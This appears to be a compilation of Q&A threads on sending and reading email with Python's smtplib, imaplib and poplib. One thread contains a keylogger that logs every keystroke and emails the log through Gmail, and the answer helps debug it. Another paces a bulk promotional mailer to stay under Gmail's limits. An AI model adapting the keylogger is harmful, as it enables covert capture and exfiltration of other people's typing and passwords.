My email program is emailing each line of the message as a separate email, i would like to know how to send all of the message in one email, when the email is sent the program will return to the beginning.
import smtplib
from email.mime.text import MIMEText
a = 1
while a == 1:
print " "
To = raw_input("To: ")
subject = raw_input("subject: ")
input_list = []
print "message: "
while True:
input_str = raw_input(">")
if input_str == "." and input_list[-1] == "":
break
else:
input_list.append(input_str)
for line in input_list:
# Create a MIME text message and populate its values
msg = MIMEText(line)
msg['Subject'] = subject
msg['From'] = '123#example.com'
msg['To'] = To
server = smtplib.SMTP_SSL('server', 465)
server.ehlo()
server.set_debuglevel(1)
server.ehlo()
server.login('username', 'password')
# Send a properly formatted MIME message, rather than a raw string
server.sendmail('user#example.net', To, msg.as_string())
server.close()
(the part that takes multiple lines was made with the help Paul Griffiths, Multiline user input python)
for line in input_list:
# Create a MIME text message and populate its values
msg = MIMEText(line)
You are calling server.sendmail in this loop.
Build your entire msg first (in a loop), THEN add all of your headers and send your message.
Related
I'm trying to make a program that captures everything I type on my keyboard, saves it to a text file and emails it to me. Every time it emails it it is empty or has text from the last time I ran it. I'm not sure what to do.
from pynput.keyboard import Key, Listener
from datetime import datetime
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
email_user = 'username#gmail.com'
email_send = 'reciever#gmail.com'
password = 'password'
subject = 'file'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'hi'
filename='filename.txt'
attachment =open(filename, 'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)
msg.attach(part)
msg.attach(MIMEText(body,'plain'))
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email_user, password)
now = datetime.now()
dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
def show(key):
file = open('filename.txt', 'a+')
file.write(dt_string + " ")
if key != Key.backspace and key != Key.left and key != Key.right and key != Key.up and key != Key.down and key != Key.shift and key != Key.shift_r:
file.write(format(key)+'\n')
if key == Key.delete:
server.sendmail(email_user, email_send,text)
return False
with Listener(on_press = show) as listener:
listener.join()
Your text is empty as it is initialized at the start and when you're sending the email the same empty text is being sent. What you need to do is read through the file before you send your email. Call a function above server.sendmail(email_user, email_send,text) as text = readFile()
def readFile():
** read your file **
** and return text **
I have this code that sends out emails individually through gmail from a list of emails in an excel file. I just want to know how to make the bot pause for 60 seconds after it's sent 50 emails and then continue with the list after the 60 seconds is up. I'm just trying to be safe with gmails daily limits.
import smtplib
import openpyxl as xl
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
username = str(input('Your Username:' ))
password = str(input('Your Password:' ))
From = username
Subject = 'Free Beats and Samples For You :)'
wb = xl.load_workbook(r'C:\Users\19548\Documents\EMAILS.xlsx')
sheet1 = wb.get_sheet_by_name('EMAIL TEST - Sheet1')
names = []
emails = []
for cell in sheet1['A']:
emails.append(cell.value)
for cell in sheet1['B']:
names.append(cell.value)
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(username, password)
for i in range(len(emails)):
msg = MIMEMultipart()
msg['From'] = username
msg['To'] = emails[i]
msg['Subject'] = Subject
text = '''
{}
'''.format(names[i])
msg.attach(MIMEText(text, 'plain'))
message = msg.as_string()
server.sendmail(username, emails[i], message)
print('Mail sent to', emails[i])
server.quit()
print('All emails sent successfully!')
You can use time.sleep() to wait a given number of seconds, and you can keep track of the number of emails sent using a variable that gets incremented with each iteration of the loop. Since you're already working with both the emails themselves and their indices, you can simplify this counting by using Python's enumerate function, which gives you both the next value and its corresponding index:
for index, email in enumerate(emails, start=1):
msg = <...>
message = msg.as_string()
server.sendmail(username, email, message)
if index % 50 == 0:
time.sleep(60)
if(your_value%50==0):
time.sleep(60)
I am trying to make a script that sends a email. But how to do line breaks? I tried the following:
Change msg = MIMEText(msginp) to msg=MIMEText(msginp,_subtype='plain',_charset='windows-1255')
NOTE: msginp is a input (msginp = input('Body? '))
Does anybody know how to make line breaks? Like the enter key on your keyboard?
My code is:
import smtplib
from email.mime.text import MIMEText
import getpass
smtpserverinp = input('What SMTP server are you using? (Look here for more information. https://sites.google.com/view/smtpserver) ')
usern = input('What is your email adderess? ')
p = getpass.getpass(prompt='What is your password? (You will not see that you are typing because it is a password) ')
subjectss = input('Subject? ')
msginp = input('Body? ')
toaddr = input('To who do you want to send it to? ')
msg = MIMEText(msginp)
msg['Subject'] = subjectss
msg['From'] = usern
msg['To'] = toaddr
s = smtplib.SMTP(smtpserverinp, 587)
s.starttls()
s.login(usern, p)
s.sendmail(usern, toaddr, msg.as_string())
s.quit()
Thanks!
I can't add a comment to see if this was totally what you want but i'll give it ago.
Your msginp = input('Body? ') ends once you press the enter key, for a new line you'd need to enter \n. Rather than typing \n each time you can make a loop.
Once all the data has been collected you can use the MIMEText as you would before.
Replace your msginp and MIMEText with this (total is the msginp)
total = ""
temp = input("Data: ")
total = temp+"\n"
while(temp!=""):
temp = input("next line: ")
total = total+temp+"\n"
msg = MIMEText(total)
Exit when you enter empty line
print("Body? ", end="")
lines = []
while True:
line = input("")
if not len(line):
break
lines.append(line)
print("\n".join(lines))
I would like to print elements of a list inside an email message.
I defined my list in my python script like:
exceptions = []
At the end of the script the list will have the following elements:
This is a boy.
This is a girl.
This is a dog.
I would like to print the elements of the list called 'exceptions' inside an email that is contrived in the python script.
fromaddr = 'xxx#xxx.com'
toaddrs = 'xxx#xxx.com'
msg = """Subject:Big Bro FTP issue.
From: xxx#xxx.com
To: xxx#xxx.com
!!!PRINT THE EXCEPTION LIST HERE!!!
"""
print "Message length is " + repr(len(msg))
smtp_server = 'xxxxx.com'
smtp_username = 'xxxxxx'
smtp_password = 'xxxxxx'
smtp_port = '587'
smtp_do_tls = True
server = smtplib.SMTP(
host = smtp_server,
port = smtp_port,
timeout = 10
)
server.starttls()
server.ehlo()
server.login(smtp_username, smtp_password)
server.sendmail(fromaddr, toaddrs, msg)
print server.quit()
Any help will be greatly appreciated.
i would prefer MIMEText
import smtplib
from email.mime.multipart import MIMEText
msg = MIMEText("your_maeeage")
msg['From'] = <sender-email>
msg['To'] = <reciver-email>
msg['Subject'] = "your_subject"
server = smtplib.SMTP(<server>,<port>)
server.starttls()
server.login(Username,password)
server.sendmail(from_addr,to_addr,msg.as_string())
Format is a nice method to know which allows you to put place holders in a list. Of course, here you could simple append to the list, but it's useful. Use join to format the list of strings into a single string, here separated by a new line (\n).
msg = """Subject:Big Bro FTP issue.
From: xxx#xxx.com
To: xxx#xxx.com
{}
""".format('\n'.join(exceptions))
or:
msg = """Subject:Big Bro FTP issue.
From: xxx#xxx.com
To: xxx#xxx.com
""" + '\n'.join(exceptions)
I'm trying to get a python script which looks through my gmail inbox using imap and prints out the subject and sender of any emails which are unseen. I've started but at the moment I don't think it can sort the unseen emails or extract from these the subject and sender.
Does anyone know how to finish this code?
import imaplib
import email
user = "x"
password = "y"
mail = imaplib.IMAP4_SSL('imap.gmail.com')
mail.login(user, password)
mail.list()
mail.select('inbox')
unseen_emails = mail.search(None, 'UnSeen')
print unseen_emails
If you were willing to use poplib, this should work.
import poplib
mymail = []
host = "pop.gmail.com"
mail = poplib.POP3_SSL(host)
print (mail.getwelcome())
print (mail.user("user#gmail.com"))
print (mail.pass_("password"))
print (mail.stat())
print (mail.list())
print ("")
if mail.stat()[1] > 0:
print ("You have new mail.")
else:
print ("No new mail.")
print ("")
numMessages = len(mail.list()[1])
numb=0
for i in range(numMessages):
for j in mail.retr(i+1)[1]:
numb+=1
if numb == 4 or numb == 5:
print(j)
mail.quit()
input("Press any key to continue.")
Just be sure to allow less secure apps in your google account here: https://myaccount.google.com/lesssecureapps
My external lib https://github.com/ikvk/imap_tools
from imap_tools import MailBox, AND
# get list of unseen emails from INBOX folder
with MailBox('imap.mail.com').login('test#mail.com', 'pwd', 'INBOX') as mailbox:
for msg in mailbox.fetch(AND(seen=False)):
msg.subject # str: 'some subject 你 привет'
msg.from_ # str: 'Sender#ya.ru'
NOTE: mailbox.fetch has mark_seen arg!